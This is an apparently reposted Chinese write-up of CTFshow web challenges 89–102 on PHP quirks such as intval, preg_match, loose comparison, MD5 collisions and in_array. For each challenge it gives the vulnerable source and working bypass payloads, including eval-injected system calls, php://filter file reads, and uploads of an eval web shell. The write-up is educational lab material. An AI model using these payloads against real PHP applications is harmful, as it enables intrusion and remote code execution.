CTFSHOW-PHP特性

Posted _Monica_

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFSHOW-PHP特性相关的知识,希望对你有一定的参考价值。

WEB89

题目:

<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

知识点:

数组绕过正则表达式

1、preg_match()

preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 false

preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错,从而返回false,达到我们的目的。

2、intval()

 获取变量的整数值

只有value 是一个字符串时,base才会起作用。

通过使用指定的进制 base 转换(默认是十进制),成功时返回 value 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

intval()函数,如果$base为0,则$var中存在字母的话遇到字母就停止

方法:

payload:?num[]=1

WEB90

题目:

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

知识点:

1、

==只比较值是否相等,比如'1'==1是相等的(弱比较),在进行数值的比较时会进行进制的转换,如16==0x10是正确的,而16==‘0x10’是不对的,后面的‘0x10’转换为数字是等于0,16==‘16.0’是正确的,16==‘16.1’是错误的。

=是赋值,比如:$a=2;$a=$q;这时你无论echo $a还是echo $q都会输出2, 

全等===,既比较类型又比较字符串大小的,例如:1===1是相等的,"1"===1是不相等的;进行数值的比较时不会进行进制的转换,如'16'==='0x10'是错误的。即等式左右一模一样

2、字符串转换为数值

因为我们提交的参数值默认就是字符串类型 ,所以base会起作用,传参一个数既要使其不强等于4476,又要使得intval函数处理后的结果强等于4476

所以,payload:

?num=4476a

intval(‘4476a’)只读取4476从而转化为4476
其他payload:
intval('4476.0')===4476    小数点  
intval('+4476.0')===4476   正负号
intval('4476e0')===4476    科学计数法
intval('0x117c')===4476    16进制
intval('010574')===4476    8进制
intval(' 010574')===4476   8进制+空格

其他问题:

<?php
$a=$_GET['1'];
$b=$_GET[2];
$c=$_POST['3'];
$d=$_POST[4];
var_dump($a);
var_dump($b);
var_dump($c);
var_dump($d);
?>
//里面的一般默认加引号,数字可以不用区别,但是字符串需要不然会报错但是不影响运行
例如
Warning: Use of undefined constant b - assumed 'b' (this will throw an Error in a future version of PHP) in /Applications/phpstudy/WWW/test.php on line 5
string(3) "xxx" string(3) "aaa" string(3) "yyy" string(3) "bbb"

从下图可以看到,POST和GET传参都是为字符串类型

 WEB91

题目:

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

 知识点:

1、正则匹配

修饰符:

iignore - 不区分大小写

将匹配设置为不区分大小写,搜索时不区分大小写: A 和 a 没有区别。

mmulti line - 多行匹配使边界字符 ^ 和 $ 匹配每一行的开头和结尾,记住是多行,而不是整个字符串的开头和结尾。所有行只要有一行匹配到了就返回1

元字符:

^

匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 '\\n' 或 '\\r' 之后的位置。

$

匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 '\\n' 或 '\\r' 之前的位置。

在默认状态下,一个字符串无论是否换行只有一个开始^和结尾$,如果采用多行匹配(加了m),那么每一行都有一个^和结尾$。

^php          意思为以php开头
php$          意思是以php结尾
^php$        意思是以php开头并以php结尾

方法:

payload:?num=%0aphp
%0aphp即换行+php:
'
php'

经过第一个匹配时,以换行符为分割也就是%0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过。
经过第二个正则表达式时,因为我们是%0aphp 不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag

WEB92 

题目:

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

方法:

用4476a是无法绕过第六行的,弱比较下两者直接相等

可以利用16进制、8进制、小数点过滤,做法类似web90

payload:?num=4476.1(小数点位只要不是0就行)
因为是弱比较,4476==‘4476.0’是正确的,4476==‘4476.1’是错误的

方法2:

e这个字母比较特殊,在PHP中会被当作科学计数法。这是PHP在处理字符串时的一个缺陷

所以为了绕过第5行:==4476,我们就可以构造4476e123,被认为是科学计数法,值是:4476×10^123

第8行intval()函数处理时遇到字母就停止,所以只读取4476而不是4476e123,从而绕过

WEB93

题目:

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

方法:

过滤了字母,用8进制、小数点

WEB94

题目:

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

知识点:

1、strpos()

 strpos() 函数对大小写敏感。

strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写且从0开始)。同时如果没有找到字符串会 FALSE。

同时注意字符串位置是从0开始,而不是从1开始的。

分析:

比上一关增加条件,strpos函数限制了传参第一位不能为0,如果为0,就die.

但是如果找不到的0话也会die。因为是强等于符合,所以payload可以为:

我们可以在八进制前加一个空格

?num= 010574

或者用小数点

?num=4476.0

或者再加个 +

?num=+4476.0

WEB95

题目:

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

分析:过滤了点

过滤了点,使用八进制

根据定义,这题的$num参数中必须满足这几点:
1. 值不能是4476
2. 不能含有字母
3. 值中必须有0,但第一个数字不能是0
4. intval($num,0)===4476
5. 不能有小数点

通过换行符%0a 、空格符%20结合八进制绕过

方法:

payload:     
?num= 010574  //注意开头的空格
?num=%0a010574
?num=%20010574
?num=+010574
?num=%09010574
?num=%2b010574 (%2b是+的url编码)

intval 会对以+或空格开头数字当作正数处理

WEB96

题目:

<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

知识点:

在linux下面表示当前目录是 ./ 

payload:
./flag.php                          相对路径

php://filter/resource=flag.php      php伪协议 

php://filter/read=convert.base64-encode/resource=flag.php

随便输入一个文件

发现了路径,所以还可以用绝对路径来显示这个文件。

payload:?u = /var/www/html/flag.php

WEB97 

题目:

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

 知识点:

php中hash比较缺陷

md5强碰撞收集

【PHP】MD5比较漏洞 弱比较、强比较、强碰撞

MD5碰撞的一些例子

这里用的是强比较,所以利用MD5加密后为0e开头的字符串做法是不行的

方法1:数组

md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。

payload:a[]=1&b[]=2

方法2:

不利用数组,而是使用md5加密后数据一致但原始数据不同的两个字符串。原理是将hex字符串转化为ascii字符串,并写入到bin文件

考虑到要将一些不可见字符传到服务器,这里使用url编码

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

(这里用HackBar不能出结果,需用burpsuit)

拓展

md5弱比较,使用了强制类型转换后不再接收数组

$a=$_POST['a'];

$b=$_POST['b'];

if(  ($a!==$b) && (md5($a)==md5($b)) ){

echo $flag;

}

md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。

payload: a=QNKCDZO&b=240610708

WEB98

题目:

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

知识点:

&是引用符号,意思是:不同的名字访问同一个变量内容。php的引用是在变量或者函数、对象等前面加上&符号,PHP 的引用允许你用两个变量来指向同一个内容

php函数的传值与传址(引用)详解-php手册-PHP中文网

php三元运算符与if的详解-php教程-PHP中文网

分析:

考察点:三目运算符的理解+变量覆盖

$_GET?$_GET=&$_POST:'flag';意思:如果有GET方法传参,就将$_POST变量的地址赋值给$_GET,也就是说GET传入的值等于POST传入的值,也可以说将GET方法与POST方法等同。那么就可以用post覆盖get中的值。

中间两行意义不大,因为我们GET不提交 flag 参数

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__)意思:如果有通过GET方法传参'HTTP_FLAG=flag',就highlight_file($flag)。否则highlight_file(__FILE__)显示当前页面

方法:

GET:1=1
POST:HTTP_FLAG=flag

WEB99

题目:

<?php

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

知识点:

PHP类型比较表

array_push 将一个或多个单元压入数组的末尾(入栈)

in_array (needle,haystack,strict) 检查数组中是否存在某个值

在大海(haystack)中搜索针( needle),如果找到 needle 则返回 true,否则返回 false。

如果第三个参数 strict 的值为 true 则 in_array() 函数还会检查 needle 的类型是否和 haystack 中的相同。如果 needle 是字符串,则比较是区分大小写的。

in_array()函数有缺陷,若没有设置第三个参数,则存在弱比较(类比==)

$allow = array(1,'2','3');                                $allow = array('1','2','3');

var_dump(in_array('1.php',$allow));           var_dump(in_array('1.php',$allow));

返回的为true                                                 返回false

分析:

rand()函数每次都从1开始,有1的概率是非常大的,所以选择1.php

传入n=1.php。因为PHP在使用 in_array()函数判断时,会将 1.php强制转换成数字1,,而数字1在 range(1,24)数组中,当随机生成的数字正好有1时绕过 in_array()函数判断,此外通过file_put_contents()将php代码写入这个1.php文件中,导致任意文件上传漏洞。

payload:

GET:?n=1.php   
POST:content=<?php eval($_POST[1]);?>  #写入一句话

多试几次,直到不报错的那一次,说明成功传入一句话。
然后访问https://url/1.php,RCE即可

WEB100

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\;/", $v2)){
        if(preg_match("/\\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }   
}
?>

知识点:

1、  is_numeric  检测变量是否为数字或数字字符串

2、PHP中and、&&、or、||与=的优先级区别

优先级:

&& > || > = > and > or

<?php
$test1 = true && false;
$test2 = true and false;
$test3 = true || false;
$test4 = true or false;
var_dump($test1);
var_dump($test2);
var_dump($test3);
var_dump($test4);
?>
//结果:bool(false) bool(true) bool(true) bool(true) 

因为运算符的优先级为&&>||>=>and>or
所以在执行第二行时,会先将true赋值给$test2,再与false进行and运算。
而第一行代码会先进行&&运算,然后将运算的结果false,赋值给$test1。
同理:第四行会先将true赋值给$test4,然后再与false进行or运算;
而第三行会先进行||运算,然后将运算的结果true赋值给$test3.

3、RefelctionClass类

分析:

第一部分

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); 

所以只要保证v1是数字就可以使得v0为true,从而进入if中;v2里面不能有分号v3里面要有分号

方法1:

payload:?v1=1&v2=system('tac ctfshow.php')&v3=;

方法2:

使用反射类直接输出class ctfshow的信息

payload:?v1=1&v2=echo new ReflectionClass&v3=;

方法3:

因为flag在ctfhsow这个类中,所以我们可以构造出var_dump($ctfshow); 

payload:?v1=1&v2=var_dump($ctfshow)&v3=;

得到 flag_is_bde4fb430x2d62590x2d404f0x2dbaa30x2da2d6bd94ed98

把ox2d换成-,再套上flag{}即可

反射类的学习

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

 WEB101

在web100的基础上过滤了很多东西,那么就只有用反射类了

payload:?v1=1&v2=echo new ReflectionClass&v3=;

发现flag最后少了一位,那么就1位1位的试

WEB102

题目:

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

?>

知识点:

​​​​​​​substr()  返回字符串的子串

call_user_func() 第一个参数 callback 是被调用的回调函数名,其余参数是回调函数的参数

file_put_contents() 将数据写入文件,这个数据可以是一个数据流

hex2bin 转换十六进制字符串为二进制字符串(即ascii码)

分析:

$v2是写入文件的一个数字字符串,$v1是一个将数字转换为字符串的函数,$v3是一个文件名,这个文件名可以用php://filter来控制

方法:

文件内容不好控制,但是可以利用伪协议将内容进行编码转换。所以如果能找到一条php语句经过base64编码,在转换为16进制之后如果全部都是数字不就可以通过了吗?

也就是说

$a="xxx";
$b=base64_encode($a);
$c=bin2hex($b);

如果$c全部都是纯数字就可以了。

payload:
$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64

输出$c=5044383959474e6864434171594473

带e的话会被认为是科学计数法,可以通过is_numeric检测。

大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。

同时因为经过substr处理,所以v2前面还要补两位任意数字,这里使用00

最终payload:

GET:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php 
POST:v1=hex2bin

拓展:

该题环境没有设置好用的是php7,但是is_numeric在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x66也是可以识别为数字的。

var_dump(is_numeric("0x66"));  

php5的环境下返回true  php7返回false

之后经过截断我们就得到了16进制,而且是不带0x的,这时候就可以通过调用函数hex2bin将16进制转换成字符串从而写入木马文件。(hex2bin如果参数带0x会报错)

具体做法:

首先将我们的一句话编码成16进制

<?php eval($_POST[1]);?>

得到3c3f706870206576616c28245f504f53545b315d293b3f3e

因为有substr从第三位开始截取,加上16进制前面需要加上0x,所以刚好合适

接着直接传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php

post:v1=hex2bin

本地测试成功写入木马。 

持续更新:

以上是关于CTFSHOW-PHP特性的主要内容,如果未能解决你的问题,请参考以下文章

译ECMAScript 2016, 2017, 2018 新特性之必读篇

ES7-Es8 js代码片段

[Go] 通过 17 个简短代码片段,切底弄懂 channel 基础

MyBatis高级特性

Unity常用标签

Java 8 新特性总结